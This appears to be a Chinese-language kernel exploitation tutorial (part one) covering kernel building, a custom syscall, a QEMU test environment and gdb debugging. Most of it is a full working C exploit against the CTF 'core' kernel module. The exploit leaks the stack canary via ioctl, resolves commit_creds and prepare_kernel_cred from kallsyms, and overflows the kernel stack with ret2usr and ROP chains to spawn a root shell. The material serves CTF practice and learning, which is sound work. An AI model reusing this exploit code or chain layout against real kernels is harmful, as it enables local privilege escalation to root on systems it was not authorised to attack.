kernel pwn从小白到大神(一)

#栈空间布局
↓   swapgs
    iretq
    user_execute_addr
    user_cs
    user_eflags 
    user_sp
    user_ss

int ioctl(int fd, unsigned long request, ...);

int fd = open("/dev/mydevice", 2);//在内核中攻击使用/proc/mydevice
ioctl(fd, request_code, data) ;

sudo apt-get update
sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils qemu flex libncurses5-dev libssl-dev bc bison libglib2.0-dev libfdt-dev libpixman-1-dev zlib1g-dev libelf-dev dwarves zstd

wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.11.tar.xz

tar -xvf linux-5.11.tar.xz
cd linux-5.11.1/
make menuconfig

df -h #查看磁盘使用情况
sudo rm -rf /tmp/*
sudo apt-get clean

make -j$(nproc) bzImage

gedit arch/x86/entry/syscalls/syscall_64.tbl
1314    64    mowen        sys_mowen

gedit include/linux/syscalls.h
asmlinkage long sys_mowen(void);

gedit kernel/sys.c
SYSCALL_DEFINE0(mowen){
    printk("SYSCALL_mowen\n");
    return 1314;
}
//SYSCALL_DEFINE0()是一个宏，意为接收0个参数的系统调用，其第一个参数为系统调用名

//测试代码
#include <unistd.h>
int main(void)
{
    syscall(1314);
    return 0;
}

cd _install
#我使用sh脚本执行，把下面命令写入1.sh，或者一条一条命令执行也是可以的
mkdir -pv {bin,tmp,sbin,etc,proc,sys,home,lib64,lib/x86_64-linux-gnu,usr/{bin,sbin}}
touch etc/inittab
mkdir etc/init.d
touch etc/init.d/rcS
chmod +x ./etc/init.d/rcS

gedit etc/inttab
#写入下面的内容
::sysinit:/etc/init.d/rcS
::askfirst:/bin/ash
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init

sudo cat <<EOF > etc/init.d/rcS
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

poweroff -d 0  -f
EOF

echo "root:x:0:0:root:/root:/bin/sh" > etc/passwd
echo "ctf:x:1000:1000:ctf:/home/ctf:/bin/sh" >> etc/passwd
echo "root:x:0:" > etc/group
echo "ctf:x:1000:" >> etc/group
echo "none /dev/pts devpts gid=5,mode=620 0 0" > etc/fstab

find . | cpio -o --format=newc > ../rootfs.cpio
#或者
find . | cpio -o -H newc > ../rootfs.cpio

cpio -idv < ./rootfs.cpio
#-i：表示解包模式（extract mode）。
#-d：表示创建目录（create directories）。如果归档中包含目录，而这些目录在目标位置不存在，-d 选项会让 cpio 自动创建这些目录。
#-v：表示详细模式（verbose mode）。启用详细模式后，cpio 会在解包过程中显示处理的文件名。

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -kernel ./bzImage \
    -initrd  ./rootfs.cpio \
    -monitor /dev/null \
    -append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr" \
    -cpu kvm64,+smep \
    -smp cores=2,threads=1 \
    -nographic \
    -s

lsmod
cat /sys/module/core/sections/.text

#!/bin/sh
pwndbg -q -ex "target remote localhost:1234" \
    -ex "add-symbol-file ./core.ko $1" \
    -ex "b core_copy_func" \
    -ex "b core_write" \
    -ex "b core_ioctl" \
    -ex "b* core_copy_func+0x3b" \
    -ex "c"

cat /proc/kallsyms > /tmp/kallsyms #把/proc/kallsyms 写入/tmp/kallsyms，这样不以root权限就能读取函数地址
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict #关闭内核信息日志，将无法通过/proc/kallsyms查看函数的地址

gcc -o exp ./qwb_test2.c -w -static -masm=intel

#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#define __int64 long long
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status();
size_t find_symbols();
void printColor(char* buf);
void getshell(void);
void set_off(int fd,__int64 data){
    printf("[*] set off -> %lld\n",data);
    ioctl(fd,0x6677889C,data);
}
void core_read(int fd,char* buf){
    printf("[*] core read addr-> 0x%llx\n",buf);
    ioctl(fd,0x6677889B,buf);
}
void core_copy_func(int fd,__int64 data){
    printf("[*] core_copy_func -> %llx\n",data);
    ioctl(fd,0x6677889A,data);
}
size_t Get_Real_addr(size_t addr){
   return addr-raw_vmlinux_base+vmlinux_base;
}
typedef struct StackAttack
{
   size_t buf[256];
   int idx;
}ATTACKS,*P_IMAGE_stack;
P_IMAGE_stack soverflow;
void ATTACK_init(){
   puts("[*]ATTACK_init");
   soverflow=(P_IMAGE_stack)malloc(sizeof(ATTACKS));
   if(soverflow==NULL){
      puts("[*]init error");
      exit(-1);
   }
   soverflow->idx=8;
} 
void ATTACK_change(size_t data){
   soverflow->buf[soverflow->idx]=data;
   soverflow->idx++;
}
void ret2usr(){
   __asm__(
      "xor rdi,rdi;"
      "mov rax,prepare_kernel_cred;"
      "call rax;"
      "mov rdi,rax;"
      "mov rax,commit_creds;"
      "call rax;"
   );
}
const char* FILESYM="/tmp/kallsyms\0";
const char* FileAttack="/proc/core\0";
const __int64 commit_offset=0x9c8e0;
const __int64 prepare_offset=0x9cce0;
/*
[+] commit_creds --> 0x9c8e0 
[+] prepare_kernel_cred --> 0x9cce0 
*/
int main(void){
    puts("[*]start");
    save_status();
    int fd = open(FileAttack,2);
    if(fd < 0){
        puts("[*]open /proc/core error!");
    }
    find_symbols(FILESYM,commit_offset,prepare_offset);
    set_off(fd,64);
    char buf[64] = {0};
    core_read(fd, buf);
    size_t canary=((size_t*)buf)[0];
    printf("[*] canary -> 0x%llx\n",canary);

    size_t swapgs_popfq_ret=0xffffffff81a012da;
    size_t iretq_ret=0x50ac2;
    ATTACK_init();
    puts("[*]ATTACK payload++");
    ATTACK_change((canary));
    ATTACK_change(0);
    ATTACK_change((size_t)ret2usr);//ret2usr能直接在内核态执行用户代码，但是已经过时
    ATTACK_change(Get_Real_addr(swapgs_popfq_ret));
    ATTACK_change(0);
    ATTACK_change(iretq_ret+vmlinux_base);
    ATTACK_change((size_t)getshell);
    ATTACK_change(user_cs);
    ATTACK_change(user_rflags);
    ATTACK_change(user_sp);
    ATTACK_change(user_ss);

    printColor("[*]write");
    //write(fd,soverflow->buf,0x800);
    write(fd,soverflow->buf,0x800);
    core_copy_func(fd,0xFFFFFFFFFFFF0000|(0x100));
    return 0;
}


void save_status(){
   __asm__("mov user_cs,cs;"
           "pushf;" //push eflags
           "pop user_rflags;"
           "mov user_sp,rsp;"
           "mov user_ss,ss;"
          );
}

size_t find_symbols(const char*FILENAME,__int64 commit_offset,__int64 prepare_offset){
   FILE* kallsyms_fd = fopen(FILENAME,"r");
   if(kallsyms_fd < 0){
      puts("[*]open kallsyms error!");
      exit(0);
   }

   char buf[0x30] = {0};
   while(fgets(buf,0x30,kallsyms_fd)){
      if(commit_creds & prepare_kernel_cred)return 0;
      //find commit_creds
      if(strstr(buf,"commit_creds") && !commit_creds){
         char hex[20] = {0};
         strncpy(hex,buf,16);
         sscanf(hex,"%llx",&commit_creds);
         printf("commit_creds addr: %p\n",commit_creds);

         vmlinux_base = commit_creds - commit_offset;
         printf("vmlinux_base addr: %p\n",vmlinux_base);
      }

      //find prepare_kernel_cred
      if(strstr(buf,"prepare_kernel_cred") && !prepare_kernel_cred){
         char hex[20] = {0};
         strncpy(hex,buf,16);
         sscanf(hex,"%llx",&prepare_kernel_cred);
         printf("prepare_kernel_cred addr: %p\n",prepare_kernel_cred);
         vmlinux_base = prepare_kernel_cred - prepare_offset;
      }
   }

   if(!commit_creds & !prepare_kernel_cred){
      puts("[*]read kallsyms error!");
      exit(0);
   }
} 

void getshell(void)
{   
    if(getuid())
    {
        printColor("[x] fail get shell");
        exit(-1);
    }

    printColor("[*]Successful");
    system("/bin/sh");
}
void printColor(char* buf){
   printf("\033[31m\033[1m%s\033[0m\n",buf);
}

ROPgadget --binary ./vmlinux > rop_all.txt

ATTACK_init();
puts("[*]ATTACK payload++");
ATTACK_change((canary));
ATTACK_change(0);
ATTACK_change(Get_Real_addr(rdi_ret));
ATTACK_change(0);
ATTACK_change((prepare_kernel_cred));
ATTACK_change(Get_Real_addr(rdx_ret));
ATTACK_change((commit_creds+2));
ATTACK_change(Get_Real_addr(movRdi_Rax_callRDX));
ATTACK_change(Get_Real_addr(swapgs_popfq_ret));
ATTACK_change(0);
ATTACK_change(iretq_ret+vmlinux_base);
ATTACK_change((size_t)getshell);
ATTACK_change(user_cs);
ATTACK_change(user_rflags);
ATTACK_change(user_sp);
ATTACK_change(user_ss);